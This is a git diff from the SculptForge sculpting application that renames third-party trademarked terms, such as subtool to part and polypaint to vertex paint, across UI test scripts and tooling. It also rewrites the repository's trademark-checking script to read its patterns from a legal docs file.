@@ -63,7 +63,7 @@ expect_value texture_mean_r > $both_r
key ctrl+z
expect_value texture_mean_r == $both_r
-# The Vertex / Texture toggle sends the brush back to the vertices (polypaint).
+# The Vertex / Texture toggle sends the brush back to the vertices (vertex paint).
click "Paint Layers/Vertex"
expect_value paint_texture == 0
stroke 0.2 0.3 0.8 0.3
@@ -94,10 +94,10 @@ expect_value texture_layers == 1
expect_value texture_mean_r == $both_r
shot reopened
-# Flatten bakes the layer into Base; Texture > Polypaint copies it to the vertices.
+# Flatten bakes the layer into Base; Texture > Vertex paint copies it to the vertices.
click "Paint Layers##tool.paint_layers"
click "Paint Layers/Flatten"
expect_value texture_layers == 0
expect_value texture_mean_r == $both_r
-run polypaint_from_texture
+run vertexpaint_from_texture
expect_value colored == 1
diff --git a/tests/ui/texture_start.sfui b/tests/ui/texture_start.sfui
index d14359e1..035b6b87 100644
--- a/tests/ui/texture_start.sfui
+++ b/tests/ui/texture_start.sfui
@@ -1,4 +1,4 @@
-# Starting texture painting without hunting for Tool > Texture Map: with the Paint brush on, a SubTool without a
+# Starting texture painting without hunting for Tool > Texture Map: with the Paint brush on, a Part without a
# texture shows New Texture on the top shelf (and in the Color palette). Without UVs it runs Auto UV first, then
# makes the texture, so the next stroke goes into texels.
run new_sphere subdivisions=3
diff --git a/tests/ui/texture_transfer.sfui b/tests/ui/texture_transfer.sfui
index 10f1eac2..64918ee2 100644
--- a/tests/ui/texture_transfer.sfui
+++ b/tests/ui/texture_transfer.sfui
@@ -36,7 +36,7 @@ expect_value texture_painted == $painted
key ctrl+shift+z
expect_value texture_layers == 1
-# Voxel Remesh with Keep Texture (shown because the SubTool has a texture), in the background.
+# Voxel Remesh with Keep Texture (shown because the Part has a texture), in the background.
click "Remesh##tool.remesh"
expect "Keep Texture##remesh"
hold ctrl
diff --git a/tests/ui/timeline.sfui b/tests/ui/timeline.sfui
index d60923fa..c1e5e696 100644
--- a/tests/ui/timeline.sfui
+++ b/tests/ui/timeline.sfui
@@ -1,7 +1,7 @@
# Sculpt Timeline (PanelTimeline.cpp, core/Timeline.h): the strip records every stroke, the scrubber travels in the
# history, sculpting from an earlier point keeps the old continuation as a branch.
# The strip is at the top of the viewport by default (#63; Preferences > Interface > Timeline position).
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=5
expect_value timeline_steps == 0
stroke 0.35 0.40 0.60 0.45
diff --git a/tests/ui/timeline_position.sfui b/tests/ui/timeline_position.sfui
index 945bcdbf..a89b3e81 100644
--- a/tests/ui/timeline_position.sfui
+++ b/tests/ui/timeline_position.sfui
@@ -1,7 +1,7 @@
# Timeline position (#63): the Sculpt Timeline strip runs along the top of the viewport by default, away from the
# brush shelf, below the top shelf, with the axis gizmo below it; Preferences > Interface puts it back at the
# bottom, and Store Config keeps the choice.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=4
stroke 0.35 0.40 0.60 0.45
expect_value timeline_top == 1
diff --git a/tests/ui/triple_click.sfui b/tests/ui/triple_click.sfui
index c803f9d5..e9bb90e6 100644
--- a/tests/ui/triple_click.sfui
+++ b/tests/ui/triple_click.sfui
@@ -1,31 +1,31 @@
-# #43: a triple-click on another SubTool in the viewport makes it the active one and frames it, without
+# #43: a triple-click on another Part in the viewport makes it the active one and frames it, without
# sculpting anything; single and double clicks on it don't select it.
run new_sphere subdivisions=3
-run subtool_append type=cube name=Cube
-run subtool_select index=0
+run part_append type=cube name=Cube
+run part_select index=0
key f
-expect_value active_subtool == 0
+expect_value active_part == 0
# One or two clicks: still the sphere.
-click_subtool Cube 0.5 0.5 2
-expect_value active_subtool == 0
+click_part Cube 0.5 0.5 2
+expect_value active_part == 0
# Three: the Cube, framed (the camera moves in on it).
remember camera_distance far
-click_subtool Cube 0.5 0.5 3
-expect_value active_subtool == 1
+click_part Cube 0.5 0.5 3
+expect_value active_part == 1
expect_status Active Part: Cube
expect_value camera_distance < $far
-expect_value edited_subtools == 0
+expect_value edited_parts == 0
shot triple_click_frame
# A pen in range (Discord, Wacom Intuos 3): its side button's Double Click (the driver's default) and a tap made a
# triple-click that switched the Part. While a pen hovers, mouse triple-clicks don't switch; once it's gone they do.
key f
pen_hover 0.5 0.5
-click_subtool Sphere 0.5 0.5 3
-expect_value active_subtool == 1
+click_part Sphere 0.5 0.5 3
+expect_value active_part == 1
pen_out
wait 1.1
-click_subtool Sphere 0.5 0.5 3
-expect_value active_subtool == 0
+click_part Sphere 0.5 0.5 3
+expect_value active_part == 0
diff --git a/tests/ui/ui_scale.sfui b/tests/ui/ui_scale.sfui
index 471f95a1..69cf4f52 100644
--- a/tests/ui/ui_scale.sfui
+++ b/tests/ui/ui_scale.sfui
@@ -87,7 +87,7 @@ expect_value font_height >= 17.75
expect_value font_height <= 19.75
# Another look keeps the scale; the rebuilt fonts serve every window: the User Guide opens and draws at 125 %.
-run ui_look look=classic layout=zbrush
+run ui_look look=classic layout=classic
expect_value ui_scale == 125
expect_value font_height >= 17.75
expect_value font_height <= 19.75
diff --git a/tests/ui/update_check.sfui b/tests/ui/update_check.sfui
index 736350c1..c6a2c938 100644
--- a/tests/ui/update_check.sfui
+++ b/tests/ui/update_check.sfui
@@ -1,7 +1,7 @@
# Help > Check for updates: a newer version shows the banner (Skip this version hides it), the same or an older one
# says SculptForge is up to date, and a feed that can't be read says so. The feed is a local file here
# (SF_UPDATE_FEED); UI tests never check automatically.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=3
env SF_UPDATE_FEED $SCRIPT_DIR/data/update_newer.json
click "Help##palette.help"
diff --git a/tests/ui/user_guide.sfui b/tests/ui/user_guide.sfui
index 034d3119..dc36ab8c 100644
--- a/tests/ui/user_guide.sfui
+++ b/tests/ui/user_guide.sfui
@@ -1,6 +1,6 @@
# Help > User Guide: the embedded docs/guide reader. Open it from the Help palette, move between chapters,
# search, follow a link, go back, and open a chapter from the Ctrl-hover help with F1.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=3
click "Help##palette.help"
click "User Guide##help.guide"
diff --git a/tests/ui/v05_pipeline.sfui b/tests/ui/v05_pipeline.sfui
index a6408177..a40e9170 100644
--- a/tests/ui/v05_pipeline.sfui
+++ b/tests/ui/v05_pipeline.sfui
@@ -1,10 +1,10 @@
# The v0.5 features together, as a game artist chains them: sculpt a high-poly, QRemesh a copy, divide it and
# project the detail back (ProjectAll), Auto UV the base, bake a normal map from the high-poly, and pose the
# retopologised mesh with the gizmo at a low subdivision level.
-run new_sphere subdivisions=6 ; subtool_rename to=High
+run new_sphere subdivisions=6 ; part_rename to=High
run stroke brush=Clay points="-0.5,0.2,2 0.5,0.25,2" radius=0.2 strength=1
run stroke brush=Crease points="-0.55,-0.35,2 0.55,-0.4,2" radius=0.12 strength=1
-run subtool_duplicate ; subtool_rename to=Low
+run part_duplicate ; part_rename to=Low
# Retopology: a light, mostly-quad mesh.
run qremesh target=1500
@@ -17,10 +17,10 @@ expect_value quad_percent > 80
run subdiv_divide ; subdiv_divide
expect_value sdiv == 3
expect_value sdiv_levels == 3
-run subtool_visibility name=High visible=true
+run part_visibility name=High visible=true
run project_all distance=0.1
wait_idle 120
-run subtool_visibility name=High visible=false
+run part_visibility name=High visible=false
shot projected
# Pose at the base level: the detail rides along when stepping back up.
diff --git a/tests/ui/vdm.sfui b/tests/ui/vdm.sfui
index 9c832089..1d00c121 100644
--- a/tests/ui/vdm.sfui
+++ b/tests/ui/vdm.sfui
@@ -1,7 +1,7 @@
# Vector displacement brushes (Brush > Vector Displacement): pick a built-in VDM, stamp it with DragRect (the drag
# sets size and turn) and DragDot, Alt digs in, undo; the stroke comes back with the next brush; then sculpt a VDM
# plane, Create VDM (saved to the library) and stamp the new brush on the sphere.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
expect_value vdm_files == 0
expect_value vdms == 10
run new_sphere subdivisions=6
@@ -85,8 +85,8 @@ expect_value stroke_type == 0
# Create VDM: a VDM plane (the sphere is hidden), sculpt it, capture it into the library.
type "##vdmname" "Bump Spike"
click "New VDM Plane##vdm.new_plane"
-expect_value subtools == 2
-expect_value visible_subtools == 1
+expect_value parts == 2
+expect_value visible_parts == 1
expect_value uvs == 1
expect_value masked > 100
expect_value camera_aligned == 1
@@ -105,10 +105,10 @@ wait_idle 30
shot created
# Stamp it on the sphere.
-run subtool_select index=0
-run subtool_visibility index=0 visible=true
-run subtool_visibility index=1 visible=false
-expect_value active_subtool == 0
+run part_select index=0
+run part_visibility index=0 visible=true
+run part_visibility index=1 visible=false
+expect_value active_part == 0
snapshot
stroke 0.5 0.5 0.62 0.4
expect_value moved > 100
diff --git a/tests/ui/view_controls.sfui b/tests/ui/view_controls.sfui
index 8b896e5b..785108ef 100644
--- a/tests/ui/view_controls.sfui
+++ b/tests/ui/view_controls.sfui
@@ -1,8 +1,8 @@
# View controls (#80, #91, #102, #103): X-Ray next to Solo, the view's resolution, the light, Save Render's size
# and shape, Cut's Clip mode and Tool > Geometry > Close Holes.
run new_sphere subdivisions=4
-run subtool_append type=cube name=Box
-run subtool_select index=0
+run part_append type=cube name=Box
+run part_select index=0
camera -30 -10
key f
wait_idle 30
@@ -13,15 +13,15 @@ click "X-Ray"
expect_value xray == 1
wait 0.2
shot xray-parts-panel
-run subtool_select index=1
+run part_select index=1
wait 0.2
shot xray-box-active
-run subtool_select index=0
+run part_select index=0
# The lone Part is see-through itself.
-run subtool_solo
+run part_solo
wait 0.2
shot xray-solo
-run subtool_solo
+run part_solo
click "X-Ray"
expect_value xray == 0
@@ -71,7 +71,7 @@ key escape
# Clip (#102): Tool > Cut > Clip, a line across the sphere presses its right side flat; nothing is removed. (X turns
# the symmetry off for it, and on again after.)
-run subtool_delete index=1
+run part_delete index=1
camera 0 0
key f
remember triangles full
diff --git a/tests/ui/view_gizmo_size.sfui b/tests/ui/view_gizmo_size.sfui
index 648bab08..4169da3d 100644
--- a/tests/ui/view_gizmo_size.sfui
+++ b/tests/ui/view_gizmo_size.sfui
@@ -1,6 +1,6 @@
# Draw > Camera (Discord request): Gizmo size Small / Medium / Large for the corner axes, and the View Figure, a
# small shaded head that turns with the view; a click on it snaps to the nearest side view.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=4
key f
expect_value axis_gizmo_length == 34
diff --git a/tests/ui/viewport_cursor.sfui b/tests/ui/viewport_cursor.sfui
index 82984736..855f0076 100644
--- a/tests/ui/viewport_cursor.sfui
+++ b/tests/ui/viewport_cursor.sfui
@@ -1,7 +1,7 @@
# The viewport cursor (#73): a crosshair over the 3D view where brushes act, the arrow over panels, menus and
# popups (and their own resize and text cursors there). It stays while the view turns (#88: no arrow flashing in
# for each orbit). Preferences > Cursor > Viewport cursor: Crosshair (the default) or Arrow.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=3
hover_model 0.5 0.5
wait 0.1
diff --git a/tests/ui/whats_new.sfui b/tests/ui/whats_new.sfui
index ed871057..7ab242d6 100644
--- a/tests/ui/whats_new.sfui
+++ b/tests/ui/whats_new.sfui
@@ -5,7 +5,7 @@
# chapter below is pinned to 0.11.0 (SF_GUIDE_VERSION), so it checks 0.11.0's section before and after the release.
env SF_WHATS_NEW_VERSION 0.10.7
env SF_GUIDE_VERSION 0.11.0
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=3
click "Help##palette.help"
click "What's New##help.whats_new"
@@ -52,7 +52,7 @@ expect_value look == 1
expect_value shell_layout == 1
# The same window in Forge Terminal (the look's colours), then Full release notes: the guide chapter.
-run ui_look look=forge scheme=tokyo_night layout=zbrush # Forge Terminal's colours, with the palette bar for the clicks
+run ui_look look=forge scheme=tokyo_night layout=classic # Forge Terminal's colours, with the palette bar for the clicks
click "Help##palette.help"
click "What's New##help.whats_new"
wait 0.5
diff --git a/tests/ui/windows_dpi.sfui b/tests/ui/windows_dpi.sfui
index 18bafaad..bf18c5e6 100644
--- a/tests/ui/windows_dpi.sfui
+++ b/tests/ui/windows_dpi.sfui
@@ -10,12 +10,12 @@ expect_value right_tray_shown == 1
expect_value offscreen_items == 0
shot sculptforge-1280
key ,
-expect_value lightbox_open == 1
+expect_value library_open == 1
wait_idle 30
expect_value offscreen_items == 0
shot library-1280
key escape
-expect_value lightbox_open == 0
+expect_value library_open == 0
run ui_look look=phosphor
wait_idle 30
@@ -27,7 +27,7 @@ expect_value right_tray_shown == 1
expect_value offscreen_items == 0
shot blueprint-1280
-run ui_look look=classic layout=zbrush
+run ui_look look=classic layout=classic
wait_idle 30
expect_value right_tray_shown == 1
expect_value offscreen_items == 0
diff --git a/tools/check_marks.py b/tools/check_marks.py
index 46efbefa..6247ac7e 100644
--- a/tools/check_marks.py
+++ b/tools/check_marks.py
@@ -1,20 +1,13 @@
#!/usr/bin/env python3
-"""Fails when a third-party sculpting-app trademark appears anywhere it may not (docs/legal/trademarks.md).
-
-Every git-tracked text file and every tracked path is scanned, case-insensitively, for the marks in MARKS.
-- tools/marks_allow.txt: the permanent exceptions (path globs), each with its reason.
-- tools/marks_pending.txt: files not fully renamed yet, as "<glob> <mode>". It only shrinks: a pending file
- with no marks left is reported so it is taken off.
- strings code: only string literals that read as text (capital letters or spaces) are checked; a line
- marked "// marks-pending" (a value name scripts use) waits for the rename with an alias
- prose docs: text outside `code spans` and <code> is checked (command names follow the code rename)
- skip another branch owns the file and rewrites it
-
- check_marks.py check the repository (ctest: marks)
- check_marks.py --count print matches per mark and per top-level folder, for before/after counts
+"""Fails when a third-party sculpting-app trademark appears anywhere in the repository (docs/legal/trademarks.md).
+
+Every git-tracked text file and every tracked path is scanned, case-insensitively, for the patterns listed in
+docs/legal/trademarks.md, the one file allowed to spell them (this script doesn't). No other exceptions.
+
+ check_marks.py check the repository (ctest: marks; CI job "Trademarks")
+ check_marks.py --count print matches per pattern and per top-level folder
check_marks.py --self-test
"""
-import fnmatch
import re
import subprocess
import sys
@@ -22,45 +15,26 @@ from collections import Counter
from pathlib import Path
ROOT = Path(__file__).resolve().parent.parent
+TRADEMARKS = "docs/legal/trademarks.md"
+SKIP_PREFIXES = ("third_party/",) # vendored code, as its authors wrote it
-# The marks, as case-insensitive patterns. Order matters only for --count labels.
-MARKS = [
- r"z ?brush", r"pixologic", r"maxon", r"\bgoz(?!o)", r"gozbrush", r"dyna ?mesh", r"z ?remesher", r"sculptris",
- r"subtools?|\bsub tools?\b", r"poly ?paint", r"z ?modeler", r"lightbox|\blight box\b", r"z ?spheres?", r"matcaps?|\bmat caps?\b", r"fiber ?mesh",
- r"lightcap|\blight cap\b", r"\bpixols?\b", r"z ?script", r"z ?plug(?:in)?s?\b", r"\bspotlight\b", r"shadow ?box",
- r"nano ?mesh", r"array ?mesh", r"live ?boolean", r"\bz ?(?:add|sub)\b", r"insert ?multi ?mesh", r"\bimm\b",
- r"poly ?groups?(?!s)", r"projection ?master", r"hd ?geometry", r"decimation ?master", r"uv ?master",
- r"clip ?curve", r"trim ?curve", r"poly ?group ?it", r"panel ?loops", r"dam_? ?standard", r"clay ?buildup",
- r"\bh ?polish\b", r"trim ?dynamic", r"move ?topological", r"\bztools?\b", r"\.ztl\b",
- # Other sculpting apps, named only for comparison in old copy: none of that in ours either.
- r"mudbox", r"\bnomad\b", r"sculptgl", r"3d-?coat",
-]
-MARK_RE = re.compile("|".join(f"(?:{m})" for m in MARKS), re.IGNORECASE)
-STRING_RE = re.compile(r'"((?:[^"\\\n]|\\.)*)"')
-TEXTY_RE = re.compile(r"^[A-Z]| ") # reads as text: starts with a capital or has a space
-SKIP_PREFIXES = ("third_party/",)
-
-
-CODE_SPAN_RE = re.compile(r"`[^`\n]*`|<code>.*?</code>")
+def load_marks(text=None):
+ """The patterns between <!-- marks:begin --> and <!-- marks:end --> in docs/legal/trademarks.md."""
+ if text is None:
+ text = (ROOT / TRADEMARKS).read_text(encoding="utf-8")
+ block = text.split("<!-- marks:begin -->", 1)[1].split("<!-- marks:end -->", 1)[0]
+ marks = [line.strip() for line in block.splitlines() if line.strip()]
+ if not marks:
+ raise SystemExit(f"check_marks: no patterns in {TRADEMARKS}")
+ return re.compile("|".join(f"(?:{m})" for m in marks), re.IGNORECASE)
-def load_globs(name):
- """{glob: mode} from a list file; the mode is the second word (empty for the allowlist)."""
- globs = {}
- for line in (ROOT / "tools" / name).read_text(encoding="utf-8").splitlines():
- words = line.split("#", 1)[0].split()
- if words:
- globs[words[0]] = words[1] if len(words) > 1 else ""
- return globs
-
-def glob_match(path, g):
- return fnmatch.fnmatchcase(path, g) or g.endswith("/**") and path.startswith(g[:-2])
-
-
-def matches(path, globs):
- """The mode of the first glob that matches, or None."""
- return next((mode for g, mode in globs.items() if glob_match(path, g)), None)
+def old_words(text=None):
+ """(old, today) pairs from the table of old words in docs/legal/trademarks.md."""
+ if text is None:
+ text = (ROOT / TRADEMARKS).read_text(encoding="utf-8")
+ return re.findall(r"^\| W\d+ \| `([^`]+)` \| `([^`]+)` \|", text, re.M)
def tracked_files():
@@ -82,66 +56,33 @@ def read_text(path):
return data.decode("utf-8", errors="replace")
-def problems_in(path, text, pending):
- """(line, snippet) for every mark this file may not have; pending is None or a marks_pending.txt mode."""
- found = []
- fenced = False
- for n, line in enumerate(text.splitlines(), 1):
- if pending == "prose" and line.lstrip().startswith("```"):
- fenced = not fenced
- opens_pre = pending == "prose" and "<pre" in line and "</pre>" not in line
- in_pre = fenced or opens_pre
- if pending == "prose" and "</pre>" in line and "<pre" not in line:
- fenced, in_pre = False, True
- elif opens_pre:
- fenced = True
- if not MARK_RE.search(line):
- continue
- if pending == "prose":
- if not in_pre and MARK_RE.search(CODE_SPAN_RE.sub("", line)):
- found.append((n, line.strip()))
- elif pending == "strings":
- if "marks-pending" in line:
- continue # a script-facing value name, renamed with an alias in phase 2
- for s in STRING_RE.finditer(line):
- body = s.group(1).split("##", 1)[0] # an ImGui id after ## is never shown
- if MARK_RE.search(body) and TEXTY_RE.search(body) and not re.fullmatch(r"[\w./<>-]+\.(h|hpp|cpp)", body):
- found.append((n, body))
- else:
- found.append((n, line.strip()))
- return found
-
-
-def scan():
- allow, pending = load_globs("marks_allow.txt"), load_globs("marks_pending.txt")
- errors, stale = [], []
+def problems_in(text, mark_re):
+ """(line, snippet) for every line with a mark."""
+ return [(n, line.strip()) for n, line in enumerate(text.splitlines(), 1) if mark_re.search(line)]
+
+
+def scan(mark_re):
+ errors = []
for path in tracked_files():
- if matches(path, allow) is not None:
+ if path == TRADEMARKS:
continue
- is_pending = matches(path, pending)
- if is_pending == "skip":
- continue
- if MARK_RE.search(path) and is_pending is None:
+ if mark_re.search(path):
errors.append(f"{path}: the file name has a mark")
text = read_text(path)
if text is None:
continue
- for n, snippet in problems_in(path, text, is_pending):
+ for n, snippet in problems_in(text, mark_re):
errors.append(f"{path}:{n}: {snippet[:160]}")
- if path in pending and not MARK_RE.search(text) and not MARK_RE.search(path):
- stale.append(path)
- for path in stale:
- errors.append(f"{path}: no marks left, take it off tools/marks_pending.txt")
return errors
-def count():
+def count(mark_re):
per_mark, per_dir = Counter(), Counter()
for path in tracked_files():
text = read_text(path)
- if text is None:
+ if text is None or path == TRADEMARKS:
continue
- for m in MARK_RE.finditer(text):
+ for m in mark_re.finditer(text):
per_mark[m.group(0).lower().replace(" ", "")] += 1
per_dir[path.split("/", 1)[0] if "/" in path else "(root)"] += 1
print(f"total {sum(per_mark.values())}")
@@ -152,19 +93,16 @@ def count():
def self_test():
- assert MARK_RE.search("Send to ZBrush") and MARK_RE.search("subtoolCount") and MARK_RE.search("use a MatCap")
- assert MARK_RE.search("Polygroups") and MARK_RE.search("DamStandard") and MARK_RE.search("Dragon.ZTL")
- assert not MARK_RE.search("Lit Sphere, Part, Face group, Library, Vertex Paint, Bridge, Forge Spheres")
- assert not MARK_RE.search("immediate dimmed trimmed Gozo, format capability")
- assert problems_in("a.cpp", 'int subtoolCount = run("subtool_append");', "strings") == []
- assert problems_in("a.cpp", 'label("Send to ZBrush");', "strings") == [(1, "Send to ZBrush")]
- assert problems_in("a.cpp", 'j.get("lightboxOpen"); button("Remove##matcap");', "strings") == []
- assert problems_in("a.md", "Coming from ZBrush", None) == [(1, "Coming from ZBrush")]
- assert problems_in("a.md", "Run `subtool_append`.", "prose") == []
- assert problems_in("a.md", "Run `x` on a SubTool.", "prose") != []
- assert problems_in("a.html", "<pre><code>zsphere_new\nzsphere_add</code></pre>\nok", "prose") == []
- assert matches("integrations/bridge-plugin/x.txt", {"integrations/bridge-plugin/**": ""}) == ""
- assert matches("src/a.cpp", {"src/b.cpp": "strings"}) is None
+ mark_re = load_marks()
+ words = old_words()
+ assert len(words) >= 12, "the table of old words in docs/legal/trademarks.md is missing"
+ for old, today in words:
+ assert mark_re.search(old) and mark_re.search("x." + old.upper() + " count"), old
+ assert not mark_re.search(today), today
+ assert not mark_re.search("Lit Sphere, Part, Face group, Library, Vertex Paint, Bridge, Forge Spheres, Classic")
+ assert not mark_re.search("immediate dimmed trimmed Gozo, format capability, parts_list, bridge_send")
+ assert problems_in("a\n" + words[0][0] + " b\nc", mark_re) == [(2, words[0][0] + " b")]
+ assert load_marks("x <!-- marks:begin -->\n ab?c\n<!-- marks:end -->").search("AC")
print("check_marks self-test ok")
@@ -172,20 +110,21 @@ def main(argv):
if "--self-test" in argv:
self_test()
return 0
- if "--count" in argv:
- count()
- return 0
+ mark_re = load_marks()
if tracked_files() is None:
print("check_marks: skipped, git can't list the tracked files here")
return 0
- errors = scan()
+ if "--count" in argv:
+ count(mark_re)
+ return 0
+ errors = scan(mark_re)
for e in errors:
print(e)
if errors:
print(f"\n{len(errors)} trademark problem(s). Rename by function (docs/legal/trademarks.md); "
- "don't widen tools/marks_allow.txt.", file=sys.stderr)
+ "there are no exceptions outside that file.", file=sys.stderr)
return 1
- print("check_marks: no marks outside the allowlist")
+ print("check_marks: no marks outside docs/legal/trademarks.md")
return 0
diff --git a/tools/export_check/orient.py b/tools/export_check/orient.py
index 2f5f032b..ddc27355 100644
--- a/tools/export_check/orient.py
+++ b/tools/export_check/orient.py
@@ -75,4 +75,4 @@ a=np.array([list(map(float,l.split()[1:])) for l in out.stdout.strip().split('\n
tex=[l.split('filename=')[1].split()[0] for l in out.stderr.split('\n') if 'tex filename=' in l]
compare('FBX',a[:,:3],a[:,3:5],Image.open(tex[0] if os.path.isabs(tex[0]) else os.path.join(D,tex[0])),True)
print('Expect ~90% or more per format: the rest are corners on UV seams and checker borders, where a vertex\'s one '
- 'polypaint colour cannot match every corner. A flipped convention gives under 1%.')
+ 'vertexpaint colour cannot match every corner. A flipped convention gives under 1%.')
diff --git a/tools/export_check/run.sh b/tools/export_check/run.sh
index 8c95b8ba..05df4405 100755
--- a/tools/export_check/run.sh
+++ b/tools/export_check/run.sh
@@ -5,7 +5,7 @@
# FBX ufbx (third_party/ufbx) in strict mode: textures, materials, UVs
# all the texture is sampled the right way up: a checker texture is sampled through each format's UVs
# (OBJ/USD/FBX: v up, glTF: v down) and compared with SculptForge's own sampling (a PLY of the
-# polypaint made from the same texture).
+# vertex paint made from the same texture).
# Usage: tools/export_check/run.sh BUILD_DIR [WORK_DIR] (needs node/npm, cc, and uv or python3 -m venv)
set -euo pipefail
here="$(cd "$(dirname "$0")" && pwd)"
@@ -36,9 +36,9 @@ for y in range(1024):
px[x, y] = (int(r * 255), int(g * 255), int(b * 255))
im.save(sys.argv[1])
PY
-"$cli" -q -c "new_sphere subdivisions=4; uv_auto; texture_import path=$out/checker.png; polypaint_from_texture; \
+"$cli" -q -c "new_sphere subdivisions=4; uv_auto; texture_import path=$out/checker.png; vertexpaint_from_texture; \
export_ply path=$out/truth.ply; save_obj path=$out/s.obj; export_glb path=$out/s.glb; export_usd path=$out/s.usda; \
-export_fbx path=$out/s.fbx; layer_add name=Bulge; subtool_append primitive=sphere; uv_auto; texture_create size=1024; \
+export_fbx path=$out/s.fbx; layer_add name=Bulge; part_append primitive=sphere; uv_auto; texture_create size=1024; \
export_glb path=$out/scene.glb; export_usd path=$out/scene.usdz; export_fbx path=$out/scene.fbx lods=2"
echo "== glTF validator"; for f in "$out"/s.glb "$out"/scene.glb; do NODE_PATH="$work/tools/node_modules" node "$here/validate_gltf.js" "$f" | head -6; done
diff --git a/tools/guide/feature_shots.py b/tools/guide/feature_shots.py
index de6c8f34..719e287b 100644
--- a/tools/guide/feature_shots.py
+++ b/tools/guide/feature_shots.py
@@ -6,7 +6,7 @@
python3 tools/guide/feature_shots.py --app build/sculptforge --out build/guide-features
python3 tools/guide/make_images.py build/guide-shots --features build/guide-features
-Tests written for the Classic look and the ZBrush-style palette bar run from a converted copy: the look line becomes
+Tests written for the Classic look and the Classic-style palette bar run from a converted copy: the look line becomes
the default look and each palette click opens its task menu and section instead. Shots land in <out>/<test>/.
"""
import argparse
diff --git a/tools/guide/menu_paths.py b/tools/guide/menu_paths.py
index 737212a1..7122beb5 100644
--- a/tools/guide/menu_paths.py
+++ b/tools/guide/menu_paths.py
@@ -36,7 +36,7 @@ MENUS = {
SKIP = {"whats-new.md"}
# "Preferences > X" anywhere (bold, tables, plain text), but not when already behind a menu ("Edit > Preferences"),
-# the new Render menu, Blender's own "Preferences > Add-ons", or ZBrush's "Preferences > Mem".
+# the new Render menu, Blender's own "Preferences > Add-ons", or the classic "Preferences > Mem".
NAMES = "|".join(n + "(?! > (?:Materials|Gaussian Splats))" if n == "Render" else n for n in MENUS) # new Render menu
PATH = re.compile(r"(?<!> )\b(" + NAMES + r") > (?=[A-Z0-9+])(?!Add-ons|Mem\b)")
# "the Color palette", "**Brush palette**": the menu (and section) that holds it.
@@ -55,7 +55,7 @@ BOLD_NAME = re.compile(r"\*\*(" + "|".join(MENUS) + r")\*\* palette\b") # "the
def convert(text: str) -> str:
out = []
- zbrush_note = generated = False
+ classic_note = generated = False
for line in text.split("\n"):
# Tables generated from the app (update_shortcuts.py) quote its own help text; the app owns those words.
if line.startswith("<!-- BEGIN GENERATED"):
@@ -66,13 +66,13 @@ def convert(text: str) -> str:
out.append(line)
continue
# "> **Classic layout:** ..." notes name the palettes of that layout on purpose.
- zbrush_note = line.startswith("> **Classic layout") or (zbrush_note and line.startswith(">"))
- if zbrush_note:
+ classic_note = line.startswith("> **Classic layout") or (classic_note and line.startswith(">"))
+ if classic_note:
out.append(line)
continue
line = BOLD_NAME.sub(r"\1 palette", line)
if line.startswith("| ") and line.count("|") > 2:
- # Tables: leave the first cell (other apps' names in the glossary and the ZBrush chapter).
+ # Tables: leave the first cell (other apps' names in the glossary and the classic chapter).
first, rest = line[2:].split("|", 1)
line = "| " + first + "|" + PHRASE.sub(phrase, PATH.sub(lambda m: MENUS[m.group(1)] + " > ", rest))
elif line.startswith("!["):
diff --git a/tools/guide/shots.sfui b/tools/guide/shots.sfui
index 479c6941..8391f7ea 100644
--- a/tools/guide/shots.sfui
+++ b/tools/guide/shots.sfui
@@ -173,8 +173,8 @@ shot user-guide
key shift+f1
# Parts: append a sphere and a cube.
-run subtool_append type=sphere name=Eye
-run subtool_append type=cube name=Crate size=0.3
+run part_append type=sphere name=Eye
+run part_append type=cube name=Crate size=0.3
key f
click "Tool/Parts"
wait 0.3
@@ -182,14 +182,14 @@ shot parts
# Face Groups on a cube.
run new_cube
-run polygroup_auto_by_normals
-click "Groups##view.polygroups"
+run facegroup_auto_by_normals
+click "Groups##view.facegroups"
click "Tool/Face Groups"
key f
drag_item "Rotate##nav.rotate" -160 60
wait 0.3
shot face-groups
-click "Groups##view.polygroups"
+click "Groups##view.facegroups"
# Remesh: an uneven mesh, then voxel remeshed.
run new_sphere subdivisions=4
@@ -218,8 +218,8 @@ key escape
# Subdivision levels: a cube cage divided five times, sculpted at a low and the top level.
run new_sphere subdivisions=1
-run subtool_append type=cube name=Box
-run subtool_delete index=0
+run part_append type=cube name=Box
+run part_delete index=0
run subdiv_reconstruct; subdiv_reconstruct; subdiv_reconstruct; subdiv_reconstruct; subdiv_delete_higher
run subdiv_divide; subdiv_divide; subdiv_divide; subdiv_divide; subdiv_divide
orbit 140 -70
@@ -301,7 +301,7 @@ click "Wire##view.polyf"
wait 0.2
shot guides-without
key ctrl+z
-run subtool_delete index=1
+run part_delete index=1
click "Wire##view.polyf"
click "QRemesh/Quad Remesh Guides"
